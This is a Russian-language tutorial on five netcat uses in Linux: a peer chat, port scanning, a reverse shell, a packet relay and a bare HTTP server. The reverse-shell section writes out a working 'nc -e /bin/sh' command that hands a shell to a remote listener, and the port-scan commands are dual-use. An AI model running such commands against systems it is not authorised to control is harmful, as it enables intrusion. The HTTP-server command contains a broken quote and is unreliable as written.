5 Простых и Легких Использований Netcat в Linux

Netcat — это мощная утилита командной строки для работы с сетью в Linux, которая может отправлять и слушать TCP и UDP пакеты. В отличие от других сетевых инструментов, netcat крайне прост. Однако его простота также позволяет выполнять почти любые действия в сети.
В этой статье мы покажем вам 5 простых сетевых задач, которые вы можете выполнить с помощью netcat. Кроме того, в статье будет выделено, что делает netcat особенным и почему вы должны включить его в свой набор инструментов Linux.
Содержание
- Как работает Netcat и зачем его использовать?
- Сессия чата «равный-равному»
- Простой сканер портов
- Реверсивная оболочка
- Простой ретранслятор пакетов
- Простой HTTP-сервер
- Часто задаваемые вопросы
Как работает Netcat и зачем его использовать?
Netcat — это базовая утилита, которая может отправлять и получать сетевые пакеты. Она была впервые выпущена в 1995 году псевдонимным программистом по имени Hobbit. С тех пор netcat стал важной частью каждой дистрибуции Linux.
В своей основе netcat работает, отправляя сетевые запросы от одного хоста Linux к другому. Этот сетевой запрос может содержать любые данные, и вы можете отправить его на любой порт.

Этот подход означает, что netcat может создавать любые возможные сетевые соединения. Например, программа может создавать прямые TCP-соединения, которые вы можете использовать для передачи файлов или создания реверсивных оболочек.

1. Сессия чата «равный-равному»
Одно из самых простых использований netcat — это простая сессия чата «равный-равному» между двумя машинами Linux. Это метод общения, который не зависит от какого-либо стороннего сервера для отправки и получения информации.
- Для этого вам нужно открыть порт между 49152 и 65536 на вашем локальном компьютере. Это то место, где удаленный хост сможет подключиться и отправить произвольную информацию на ваш компьютер.
sudo ufw allow 50000- Вам также нужно открыть другой порт на удаленном хосте, чтобы ваша машина могла отправлять информацию к нему:
sudo ufw allow 50001- Запустите
netcatна вашей машине с следующими аргументами:
nc -lp50000Это откроет сессию netcat, которая активно слушает данные на порту 50000.
- Теперь удаленный хост может отправлять любые текстовые данные на вашу локальную машину. Например, следующая команда отправит стандартный ввод системы на удаленную машину.
cat - | nc 192.168.122.136 50000
- Чтобы ответить на сообщение, удаленному хосту также нужно запустить слушающий демон:
nc -lp50001- Теперь вы также можете отправить сообщение с локальной машины на удаленный хост:
cat - | nc 192.168.122.177 50001
2. Простой сканер портов
Сканер портов — это простая утилита, которая проверяет, доступны ли набор портов на машине с удаленного хоста. Это очень полезно в случаях, когда вы не уверены, открыты ли на вашей системе соответствующие порты.
Чтобы проверить один порт, вы можете выполнить nc -v, за которым следует IP-адрес и порт, который вы хотите проверить:
nc -v 192.168.122.177 80
Вы также можете указать диапазон номеров, где netcat последовательно проверит каждый номер порта внутри этого диапазона. Например, выполнение следующей команды просканирует все открытые «известные» порты:
nc -v 192.168.122.177 1-1024
Одним из недостатков запроса портов является то, что он генерирует ненужный сетевой трафик. Это может быть проблемой, если вы тестируете большой диапазон портов в небольшой домашней сети.
Чтобы исправить это, включите режим «Ноль I/O» netcat, который не создает никакой сетевой активности на удаленном хосте:
nc -zv 192.168.122.177 1-1024
К вашему сведению: Узнайте, как вы можете использовать nmap даже без sudo для сбора информации о машинах в вашей локальной сети.
3. Реверсивная оболочка
Реверсивные оболочки — это основа тестирования на проникновение в Linux. Это удаленные экземпляры оболочки, которые позволяют вам управлять системой, даже если входящие порты не открыты. Это делает реверсивные оболочки удобными, если вам нужно получить доступ к машине, которая не имеет доступа по SSH.
- Чтобы создать реверсивную оболочку, вам нужно открыть слушающий демон на вашей локальной машине:
nc -lp50000- Начните соединение netcat на вашей удаленной машине. В этом случае вам также нужно передать среду оболочки удаленной машины:
nc -e/bin/sh 192.168.122.136 50000Примечание: Команда выше будет работать только на дистрибутивах, отличных от Ubuntu. Чтобы сделать это в Ubuntu, вам нужно установить пакет «netcat-traditional» и заменить «nc» на «nc.traditional».
- Вернитесь на свою локальную машину и выполните команду оболочки. Например, выполнение
lsвыведет текущий каталог удаленного пользователя.
ls-la
- Чтобы завершить сессию реверсивной оболочки, вы можете нажать Ctrl + C на слушающем демоне вашей локальной машины.

Полезно знать: Узнайте, как вы можете эффективно использовать свою реверсивную оболочку, изучив основы сценариев оболочки.
4. Простой ретранслятор пакетов
Помимо прямого чтения и записи в сетевой поток, вы также можете использовать netcat для перенаправления входящего соединения на любой исходящий порт. Это работает путем связывания нескольких сессий слушателя и клиента netcat с использованием UNIX-пайпов.
- Создайте сессию netcat, которая слушает на порту 50000. Это будет служить исходящим портом для вашего простого ретранслятора:
nc -lv localhost 50000- Откройте новый терминал и выполните следующую команду:
nc -lv localhost 50001 | nc localhost 50000Это создаст новый слушающий демон на порту 50001, и он автоматически перенаправит любые пакеты на этом порту на порт 50000.

- Теперь вы можете отправлять данные на ваш входящий порт, и netcat автоматически перенаправит его вывод на ваш исходящий порт.
echo"MakeTechEasier"| nc localhost 50001
- Помимо локальных портов, вы также можете использовать эту функцию для перенаправления любого сетевого трафика на другую машину. Например, следующий код отправляет данные на порт 50000 на той же порту на другой системе:
nc -lv localhost 50000| nc 192.168.122.177 50000
Примечание: Для этого вам нужно будет запустить несколько процессов демонов, и это не шифрует никаких данных, проходящих через.
5. Простой HTTP-сервер
Настройка HTTP-сервера может быть сложным процессом, даже если вы хотите обслуживать только одну страницу. В этом отношении netcat также может служить простым статическим веб-сервером, который вы можете запустить в Linux без установки дополнительных инструментов.
- Создайте файл базового HTTP-ответа. Следующий фрагмент кода отображает веб-страницу с простым сообщением:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
# Привет, MakeTechEasier!
- Сохраните его как “index.http” в вашей домашней директории.

- Выполните следующую команду:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Теперь у вас есть работающий веб-сервер. Вы можете посетить свою веб-страницу, открыв веб-браузер и перейдя по адресу http://localhost:8080.

- Нажмите Ctrl + C в терминале, чтобы выйти из текущей сессии веб-сервера.

Примечание: Как вы можете видеть, это только очень простой HTTP-сервер, и он небезопасен. Если вы запускаете свой собственный сервер, вам следует следовать этим советам, чтобы защитить свой сервер.
Полезно знать: Узнайте, как эффективно управлять своими файлами, используя sed для манипуляции текстовыми потоками.
Часто задаваемые вопросы
Я не могу подключиться к удаленной машине с помощью netcat.
Эта проблема, скорее всего, связана с заблокированным портом брандмауэра на удаленной машине. Вам нужно убедиться, что порт, который вы используете на своей машине, открыт для входящих и исходящих соединений. Например, вам нужно выполнить sudo ufw allow 49999, если вы хотите использовать порт 49999 на удаленной машине.
Можно ли подключиться к любому хосту с помощью netcat?
Нет. Хотя netcat может читать и записывать в любой произвольный сетевой поток, он не может подключиться к машине, которая не обнаруживается в сети вашей системы. К ним относятся частные сети, которые не имеют включенного переадресации портов, а также системы с воздушным зазором, которые не имеют доступа к сети.
Можно ли подделать соединение в netcat?
Нет. Это связано с тем, что netcat может отправлять и получать пакеты только с действительного сетевого интерфейса. Однако вы можете изменить, откуда поступает этот конкретный пакет, если у вас есть несколько сетевых интерфейсов.
Например, вы можете выполнить nc -l -s 10.0.0.2 -p 50000, чтобы сказать netcat явно отправлять пакеты, используя интерфейс с IP-адресом “10.0.0.2.”
Кредит изображения: ThisisEngineering RAEng через Unsplash. Все изменения и скриншоты сделаны Рамсесом Редом.